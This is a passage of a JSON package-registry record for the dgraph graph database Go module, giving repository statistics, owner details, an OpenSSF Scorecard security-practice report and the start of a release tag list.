{"id":3503490,"name":"github.com/dgraph-io/dgraph","ecosystem":"go","description":"","homepage":"https://github.com/dgraph-io/dgraph","licenses":"UNKNOWN","normalized_licenses":["Other"],"repository_url":"https://github.com/dgraph-io/dgraph","keywords_array":[],"namespace":"github.com/dgraph-io","versions_count":111,"first_release_published_at":"2016-07-11T06:11:06.000Z","latest_release_published_at":"2020-10-28T04:49:45.000Z","latest_release_number":"v1.2.8","last_synced_at":"2026-10-09T09:10:03.017Z","created_at":"2022-04-10T20:24:30.288Z","updated_at":"2026-10-10T09:06:43.507Z","registry_url":"https://pkg.go.dev/github.com/dgraph-io/dgraph","install_command":"go get github.com/dgraph-io/dgraph","documentation_url":"https://pkg.go.dev/github.com/dgraph-io/dgraph#section-documentation","metadata":null,"repo_metadata":{"id":38839663,"uuid":"41349039","full_name":"dgraph-io/dgraph","owner":"dgraph-io","description":"high-performance graph database for real-time use cases","archived":false,"fork":false,"pushed_at":"2026-10-02T19:45:47.000Z","size":664025,"stargazers_count":21805,"open_issues_count":103,"forks_count":1608,"subscribers_count":357,"default_branch":"main","last_synced_at":"2026-10-04T15:41:56.664Z","etag":null,"topics":["database","distributed","go","knowledge-graph"],"latest_commit_sha":null,"homepage":"https://dgraph.io","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/dgraph-io.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":"audit/audit.go","citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2015-08-25T07:15:56.000Z","updated_at":"2026-10-04T05:28:22.000Z","dependencies_parsed_at":"2026-10-04T15:42:17.153Z","dependency_job_id":"2a0deffb-abd7-401f-97e5-1e7a6b143226","html_url":"https://github.com/dgraph-io/dgraph","commit_stats":{"total_commits":5942,"total_committers":244,"mean_commits":"24.352459016393443","dds":0.8973409626388421,"last_synced_commit":"a21c3664d5cefbd8e9fc08738ae2889f87ec5768"},"previous_names":["hypermodeinc/dgraph","dgraph-io/dgraph"],"tags_count":247,"template":false,"template_full_name":null,"purl":"pkg:github/dgraph-io/dgraph","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dgraph-io","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/sbom","scorecard":{"id":1239243,"data":{"date":"2025-10-20","repo":{"name":"github.com/dgraph-io/dgraph","commit":"e6980befe54103c67f353ffaa311345747ebb147"},"scorecard":{"version":"v5.3.1-0.20251020080748-9e702f4c9dc6","commit":"9e702f4c9dc6992745395f4c8ac89942d0cf87ea"},"score":6.6,"checks":[{"name":"Code-Review","score":6,"reason":"Found 13/20 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"24 commit(s) and 2 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#maintained"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'packages' permission set to 'read': .github/workflows/codeql.yml:25","Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/cd-dgraph-nightly.yml:8","Warn: topLevel 'packages' permission set to 'write': .github/workflows/cd-dgraph-nightly.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/cd-dgraph.yml:20","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci-dgraph-core-tests.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci-dgraph-core-upgrade-tests.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci-dgraph-fuzz.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci-dgraph-integration2-tests.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci-dgraph-jepsen-tests.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci-dgraph-ldbc-tests.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci-dgraph-load-tests.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci-dgraph-system-upgrade-tests.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci-dgraph-systest-tests.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci-dgraph-tests-arm64.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci-dgraph-upgrade-fixed-versions-tests.yml:8","Info: topLevel 'contents' permission set to 'read': .github/workflows/ci-dgraph-vector-tests.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/codeql.yml:16","Info: topLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:15","Info: topLevel 'contents' permission set to 'read': .github/workflows/trunk.yml:7","Warn: topLevel 'actions' permission set to 'write': .github/workflows/trunk.yml:8","Warn: topLevel 'checks' permission set to 'write': .github/workflows/trunk.yml:9","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: GoBuiltInFuzzer integration found: dql/parser_fuzz_test.go:21"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v25.0.0 not signed: https://api.github.com/repos/hypermodeinc/dgraph/releases/252846959","Warn: release artifact v24.1.4 not signed: https://api.github.com/repos/hypermodeinc/dgraph/releases/240676427","Warn: release artifact v25.0.0-preview6 not signed: https://api.github.com/repos/hypermodeinc/dgraph/releases/227252482","Warn: release artifact v24.1.3 not signed: https://api.github.com/repos/hypermodeinc/dgraph/releases/220927558","Warn: release artifact v25.0.0-preview4 not signed: https://api.github.com/repos/hypermodeinc/dgraph/releases/220181646","Warn: release artifact v25.0.0 does not have provenance: https://api.github.com/repos/hypermodeinc/dgraph/releases/252846959","Warn: release artifact v24.1.4 does not have provenance: https://api.github.com/repos/hypermodeinc/dgraph/releases/240676427","Warn: release artifact v25.0.0-preview6 does not have provenance: https://api.github.com/repos/hypermodeinc/dgraph/releases/227252482","Warn: release artifact v24.1.3 does not have provenance: https://api.github.com/repos/hypermodeinc/dgraph/releases/220927558","Warn: release artifact v25.0.0-preview4 does not have provenance: https://api.github.com/repos/hypermodeinc/dgraph/releases/220181646"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#signed-releases"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/cd-dgraph-nightly.yml:12"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":2,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: 'allow deletion' enabled on branch 'main'","Info: 'allow deletion' disabled on branch 'release/v23'","Info: 'allow deletion' disabled on branch 'release/v22.0.2'","Info: 'allow deletion' disabled on branch 'release/v22.0.1'","Info: 'allow deletion' disabled on branch 'release/v22.0.0'","Warn: 'force pushes' enabled on branch 'main'","Info: 'force pushes' disabled on branch 'release/v23'","Info: 'force pushes' disabled on branch 'release/v22.0.2'","Info: 'force pushes' disabled on branch 'release/v22.0.1'","Info: 'force pushes' disabled on branch 'release/v22.0.0'","Warn: 'branch protection settings apply to administrators' is disabled on branch 'main'","Warn: 'branch protection settings apply to administrators' is disabled on branch 'release/v23'","Warn: 'branch protection settings apply to administrators' is disabled on branch 'release/v22.0.2'","Warn: 'branch protection settings apply to administrators' is disabled on branch 'release/v22.0.1'","Warn: 'branch protection settings apply to administrators' is disabled on branch 'release/v22.0.0'","Warn: could not determine whether codeowners review is allowed","Warn: could not determine whether codeowners review is allowed","Warn: could not determine whether codeowners review is allowed","Warn: could not determine whether codeowners review is allowed","Warn: could not determine whether codeowners review is allowed","Warn: 'up-to-date branches' is disabled on branch 'main'","Info: status check found to merge onto on branch 'main'","Warn: no status checks found to merge onto branch 'release/v23'","Warn: no status checks found to merge onto branch 'release/v22.0.2'","Warn: no status checks found to merge onto branch 'release/v22.0.1'","Warn: no status checks found to merge onto branch 'release/v22.0.0'","Warn: PRs are not required to make changes on branch 'main'; or we don't have data to detect it.If you think it might be the latter, make sure to run Scorecard with a PAT or use Repo Rules (that are always public) instead of Branch Protection settings","Warn: PRs are not required to make changes on branch 'release/v23'; or we don't have data to detect it.If you think it might be the latter, make sure to run Scorecard with a PAT or use Repo Rules (that are always public) instead of Branch Protection settings","Warn: PRs are not required to make changes on branch 'release/v22.0.2'; or we don't have data to detect it.If you think it might be the latter, make sure to run Scorecard with a PAT or use Repo Rules (that are always public) instead of Branch Protection settings","Warn: PRs are not required to make changes on branch 'release/v22.0.1'; or we don't have data to detect it.If you think it might be the latter, make sure to run Scorecard with a PAT or use Repo Rules (that are always public) instead of Branch Protection settings","Warn: PRs are not required to make changes on branch 'release/v22.0.0'; or we don't have data to detect it.If you think it might be the latter, make sure to run Scorecard with a PAT or use Repo Rules (that are always public) instead of Branch Protection settings"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: third-party GitHubAction not pinned by hash: .github/workflows/cd-dgraph-nightly.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph-nightly.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cd-dgraph-nightly.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph-nightly.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cd-dgraph-nightly.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph-nightly.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:127: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:131: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:176: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:201: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:218: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:228: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:246: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:253: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:259: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:276: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:289: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cd-dgraph.yml:118: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/cd-dgraph.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-core-tests.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-core-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-core-tests.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-core-tests.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci-dgraph-core-tests.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-core-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-core-upgrade-tests.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-core-upgrade-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-core-upgrade-tests.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-core-upgrade-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-fuzz.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-fuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-fuzz.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-fuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-integration2-tests.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-integration2-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-integration2-tests.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-integration2-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-jepsen-tests.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-jepsen-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-jepsen-tests.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-jepsen-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-jepsen-tests.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-jepsen-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-ldbc-tests.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-ldbc-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-ldbc-tests.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-ldbc-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-load-tests.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-load-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-load-tests.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-load-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-system-upgrade-tests.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-system-upgrade-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-system-upgrade-tests.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-system-upgrade-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-systest-tests.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-systest-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-systest-tests.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-systest-tests.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci-dgraph-systest-tests.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-systest-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-tests-arm64.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-tests-arm64.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-tests-arm64.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-tests-arm64.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-upgrade-fixed-versions-tests.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-upgrade-fixed-versions-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-upgrade-fixed-versions-tests.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-upgrade-fixed-versions-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-vector-tests.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-vector-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci-dgraph-vector-tests.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-vector-tests.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci-dgraph-vector-tests.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/ci-dgraph-vector-tests.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:54: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/labeler.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/labeler.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/trunk.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/hypermodeinc/dgraph/trunk.yml/main?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:2: pin your Docker image by updating golang:1.25.0 to golang:1.25.0@sha256:5502b0e56fca23feba76dbc5387ba59c593c02ccc2f0f7355871ea9a0852cebe","Warn: containerImage not pinned by hash: Dockerfile:16: pin your Docker image by updating ubuntu:24.04 to ubuntu:24.04@sha256:66460d557b25769b102175144d538d88219c077c678a49af4afca6fbfc1b5252","Warn: containerImage not pinned by hash: contrib/Dockerfile:7: pin your Docker image by updating ubuntu:24.04 to ubuntu:24.04@sha256:66460d557b25769b102175144d538d88219c077c678a49af4afca6fbfc1b5252","Warn: containerImage not pinned by hash: contrib/standalone/Dockerfile:2: pin your Docker image by updating dgraph/dgraph:latest to dgraph/dgraph:latest@sha256:babcc68a476a30b9074a5e1b72fef2a6684acf4e05eeb18ea72edf0d28181f32","Warn: containerImage not pinned by hash: graphql/e2e/custom_logic/cmd/Dockerfile:1: pin your Docker image by updating golang:1.25-alpine to golang:1.25-alpine@sha256:aee43c3ccbf24fdffb7295693b6e33b21e01baec1b2a55acc351fde345e9ec34","Warn: containerImage not pinned by hash: systest/backup/nfs-backup/Dockerfile:1","Warn: npmCommand not pinned by hash: graphql/e2e/custom_logic/cmd/Dockerfile:13","Warn: goCommand not pinned by hash: dgraph/cmd/bulk/systest/run.sh:8","Warn: goCommand not pinned by hash: dgraph/cmd/bulk/systest/run.sh:9","Warn: goCommand not pinned by hash: dgraph/cmd/bulk/systest/run.sh:10","Warn: downloadThenRun not pinned by hash: dgraph/cmd/bulk/systest/test-bulk-schema.sh:119","Warn: goCommand not pinned by hash: .github/workflows/ci-dgraph-core-tests.yml:40","Warn: goCommand not pinned by hash: .github/workflows/ci-dgraph-ldbc-tests.yml:39","Warn: goCommand not pinned by hash: .github/workflows/ci-dgraph-load-tests.yml:38","Warn: goCommand not pinned by hash: .github/workflows/ci-dgraph-systest-tests.yml:48","Warn: goCommand not pinned by hash: .github/workflows/ci-dgraph-tests-arm64.yml:44","Warn: goCommand not pinned by hash: .github/workflows/ci-dgraph-vector-tests.yml:48","Info:   0 out of  45 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   8 third-party GitHubAction dependencies pinned","Info:   0 out of   6 containerImage dependencies pinned","Info:   0 out of   1 npmCommand dependencies pinned","Info:   1 out of  10 goCommand dependencies pinned","Info:   0 out of   1 downloadThenRun dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (29) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/9e702f4c9dc6992745395f4c8ac89942d0cf87ea/docs/checks.md#sast"}}]},"last_synced_at":"2025-10-27T00:34:31.391Z","repository_id":38839663,"created_at":"2025-10-27T00:34:31.391Z","updated_at":"2025-10-27T00:34:31.391Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343072799,"owners_count":38019582,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-04T02:00:06.888Z","response_time":127,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"dgraph-io","name":"Dgraph","uuid":"13958706","kind":"organization","description":"","email":"dgraph-admin@istartidigital.com","website":"https://dgraph.io","location":"United States of America","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/13958706?v=4","repositories_count":107,"last_synced_at":"2026-10-06T11:27:46.331Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/dgraph-io","funding_links":[],"total_stars":47477,"followers":330,"following":0,"created_at":"2022-11-05T19:04:07.695Z","updated_at":"2026-10-06T11:27:46.346Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dgraph-io","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dgraph-io/repositories"},"tags":[{"name":"v25.4.1","sha":"759e242be62c91f8d084da06ad0c8d21256d9c07","kind":"commit","published_at":"2026-08-24T19:26:59.000Z","download_url":"https://codeload.github.com/dgraph-io/dgraph/tar.gz/v25.4.1","html_url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/dgraph-io/dgraph@v25.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgraph-io%2Fdgraph/tags/v25.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/